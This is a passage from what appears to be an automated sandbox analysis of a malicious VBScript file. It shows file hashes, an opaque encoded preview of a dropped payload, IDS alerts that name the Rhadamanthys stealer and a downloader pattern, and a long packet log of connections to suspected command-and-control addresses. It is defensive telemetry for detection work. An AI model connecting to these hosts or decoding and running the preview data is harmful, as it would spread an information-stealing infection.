Preview:	6wJoZnEBm7vY9wkA6wLUjOsCPkUDXCQEcQGbcQGbubkDYorrAlNI6wIKtIHxuPVv5XEBm3EBm4HB/wnykOsColdxAZtxAZtxAZu6MgWBWesCS7frApSMcQGb6wIO4zHKcQGbcQGbiRQLcQGbcQGb0eLrAg9EcQGbg8EE6wLivOsCEFCB+ega/wN8zOsCjMDrAt+yi0QkBOsCtWPrAl15icNxAZvrAsC4gcOi82cA6wILWXEBm7obloPN6wIXAnEBm4HC7NId7usCtANxAZuB6gdpobtxAZvrAtfU6wItyHEBm+sCLRzrAvFhiwwQcQGbcQGbiQwT6wIYkusC7klC6wK4iHEBm4H6wJUEAHXUcQGbcQGbiVwkDOsCnh1xAZuB7QADAABxAZtxAZuLVCQI6wINj3EBm4t8JATrAn5JcQGbievrAhpBcQGbgcOcAAAAcQGb6wKiMFNxAZtxAZtqQOsCiKPrAn+pievrAoEH6wIX48eDAAEAAAAgDARxAZvrAvkvgcMAAQAAcQGb6wIQ5lPrAlAbcQGbietxAZvrAnhIibsEAQAAcQGb6wKL24HDBAEAAOsCZM7rAkMtU3EBm+sCVFpq/+sCD67rAmFrg8IF6wLcxesCFI0x9nEBm3EBmzHJcQGb6wIvZIsa6wI6+3EBm0HrArze6wJi4DkcCnXy6wLaPesCnQVGcQGbcQGbgHwK+7h13OsChrPrAuK9i0QK/OsC2hdxAZsp8OsC3NtxAZv/0nEBm3EBm7rAlQQAcQGb6wKx4DHAcQGb6wIeZ4t8JAxxAZtxAZuBNAdAda/f6wJfgHEBm4PABOsCArRxAZs50HXkcQGbcQGbifvrAlRv6wL4v//XcQGbcQGbqHCv30ATLiSyP/RfvYEG1y8u8CmGziY6wZmbslpxLht0H7XbFfxKZvLnDk7BhLettvMuLjb10LTBhGu/aAmWHYcxot9eIyI7xL4uq011d26XFi6rTXWpBYdzk2zBGaLf

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.1393254819055185
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	ab.vbs
File size:	45'982 bytes
MD5:	d7782420dddbd95fd746c9e59fb24523
SHA1:	481eda9f024eee0a42eee72e423a8c88eee219fe
SHA256:	50277ebb2a5a87057ad1198b5432e76a8c0115c6dcb485cc1a2060e420f1b3be
SHA512:	eb98b922dc3cbaff65f1528347f981260ec2e864df2ba5ce9517f0231d0dc689ff57d9ad6b4287e8031ba1820e36ff5cf8b651e24da16f16c07a9baded21bb34
SSDEEP:	768:62ZSuxpkx/1EuE8BLsGmKuQu/G4bvYFbaxQ7N4x5fj5EObTsrNJD:62LmAGDuju3giNcN5d0JD
TLSH:	562306AA9F3DB2370B4D26579F423957B5F841060F3200E87EA51E49702F598B3F922E
File Content Preview:	..'Muldyrenes mura, rustvognes, precognizing; skytsengel,..'Synkronsvmningernes34, kjolesmmens, unoriginal tankelseste83..'Heterodoxies132! murga? sulphurless?....'Antipodistens104; imperfect....'Kryptograferedes. underpantene195; ghettoes; keps....'Brand

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-05T10:38:11.816369+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.7	50002	TCP
2024-12-05T10:39:15.799172+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49831	202.71.109.228	443	TCP
2024-12-05T10:39:23.551192+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	2023	192.168.2.7	49852	TCP
2024-12-05T10:39:46.626899+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	2023	192.168.2.7	49921	TCP
2024-12-05T10:39:46.626899+0100	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	45.149.241.141	2023	192.168.2.7	49921	TCP
2024-12-05T10:39:58.412073+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	2023	192.168.2.7	49952	TCP
2024-12-05T10:39:58.412073+0100	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	45.149.241.141	2023	192.168.2.7	49952	TCP
2024-12-05T10:40:07.840436+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.7	49973	TCP
2024-12-05T10:40:15.007376+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.7	49994	TCP
2024-12-05T10:40:22.187139+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	45.149.241.141	443	192.168.2.7	50001	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 10:38:29.507162094 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:29.507196903 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:29.507262945 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:29.514704943 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:29.514738083 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:30.856513023 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:30.856764078 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:30.860193014 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:30.860200882 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:30.860517979 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:30.869946957 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:30.911329985 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.343286991 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.394068003 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.535717010 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.535729885 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.535748005 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.535758018 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.535794020 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.535978079 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.535978079 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.536001921 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.536662102 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.584197998 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.584212065 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.584249020 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.584275961 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.584321022 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.584333897 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.584417105 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.584417105 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.648624897 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.648647070 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.648771048 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.648778915 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.648832083 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.753120899 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.753146887 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.753417969 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.753424883 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.753473043 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.782531023 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.782555103 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.782788038 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.782803059 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.782938957 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.811949968 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.811968088 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.812242985 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.812251091 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.812350035 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.920424938 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.920449018 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.920515060 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.920533895 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.920603037 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.938998938 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.939018011 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.939105034 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.939105034 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.939120054 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.939209938 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.957348108 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.957370996 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.957480907 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.957488060 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.957540035 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.957540035 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.972665071 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.972686052 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.972794056 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.972799063 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.972835064 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.972835064 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.986927986 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.986959934 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.987077951 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.987086058 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.987122059 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.987138033 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.997752905 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.997777939 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.997858047 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.997864962 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:31.997893095 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:31.997960091 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.045253992 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.045299053 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.045370102 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.045370102 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.045377970 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.045456886 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.116631031 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.116652966 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.116733074 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.116740942 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.116801023 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.127124071 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.127144098 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.127243996 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.127262115 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.127316952 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.137151957 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.137167931 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.137248993 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.137255907 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.137307882 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.145313025 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.145330906 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.145410061 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.145415068 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.145452976 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.145452976 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.155147076 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.155164003 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.155226946 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.155231953 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.155282021 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.155293941 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.164433956 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.164450884 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.164544106 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.164549112 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.164637089 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.164637089 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.178234100 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.178257942 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.178340912 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.178348064 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.178400993 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.178400993 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.221640110 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.221662998 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.221730947 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.221748114 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.221786976 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.221801996 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.307423115 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.307445049 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.307502031 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.307693958 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.307701111 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.307780981 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.313668013 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.313688040 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.313803911 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.313810110 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.313915014 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.319379091 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.319395065 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.319458961 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.319464922 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.319528103 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.319528103 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.325824022 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.325844049 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.325998068 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.326013088 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.326052904 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.332293987 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.332312107 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.332385063 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.332390070 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.332552910 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.337606907 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.337663889 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.337713957 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.337722063 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.337750912 CET	443	49730	68.66.226.116	192.168.2.7
Dec 5, 2024 10:38:32.337804079 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.337804079 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:38:32.340900898 CET	49730	443	192.168.2.7	68.66.226.116
Dec 5, 2024 10:39:13.262953997 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:13.263010979 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:13.263086081 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:13.298384905 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:13.298420906 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:14.986641884 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:14.986715078 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:15.088483095 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:15.088516951 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:15.089076996 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:15.090831041 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:15.109235048 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:15.151340961 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:15.799170017 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:15.799191952 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:15.799257994 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:15.799321890 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:15.799343109 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:15.799359083 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.024614096 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.024624109 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.024703026 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.050086975 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.050230026 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.073283911 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.073389053 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.096630096 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.096729994 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.265182972 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.265306950 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.287256956 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.287381887 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.303986073 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.304070950 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.320775986 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.320857048 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.337584019 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.337702990 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.359836102 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.359905005 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.376821995 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.376899958 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.743279934 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.743323088 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.743488073 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.754791975 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.754885912 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.765542030 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.765625954 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.775734901 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.775975943 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.789652109 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.789787054 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.800055027 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.800188065 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.986547947 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.986623049 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:16.996113062 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:16.996213913 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.005948067 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.006032944 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.015636921 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.015729904 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.028624058 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.028886080 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.038461924 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.038595915 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.048223972 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.048321009 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.061115980 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.061196089 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.229315996 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.229393959 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.236985922 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.237066984 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.247164011 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.247246027 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.254791021 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.254877090 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.262533903 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.262603998 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.270257950 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.270329952 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.280473948 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.280561924 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.288141966 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.288245916 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.295949936 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.296015978 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.306220055 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.306294918 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.312693119 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.312755108 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.322773933 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.322849035 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.330528021 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.330590963 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.450638056 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.450705051 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.456504107 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.456557989 CET	49831	443	192.168.2.7	202.71.109.228
Dec 5, 2024 10:39:17.462694883 CET	443	49831	202.71.109.228	192.168.2.7
Dec 5, 2024 10:39:17.462755919 CET	49831	443	192.168.2.7	202.71.109.228
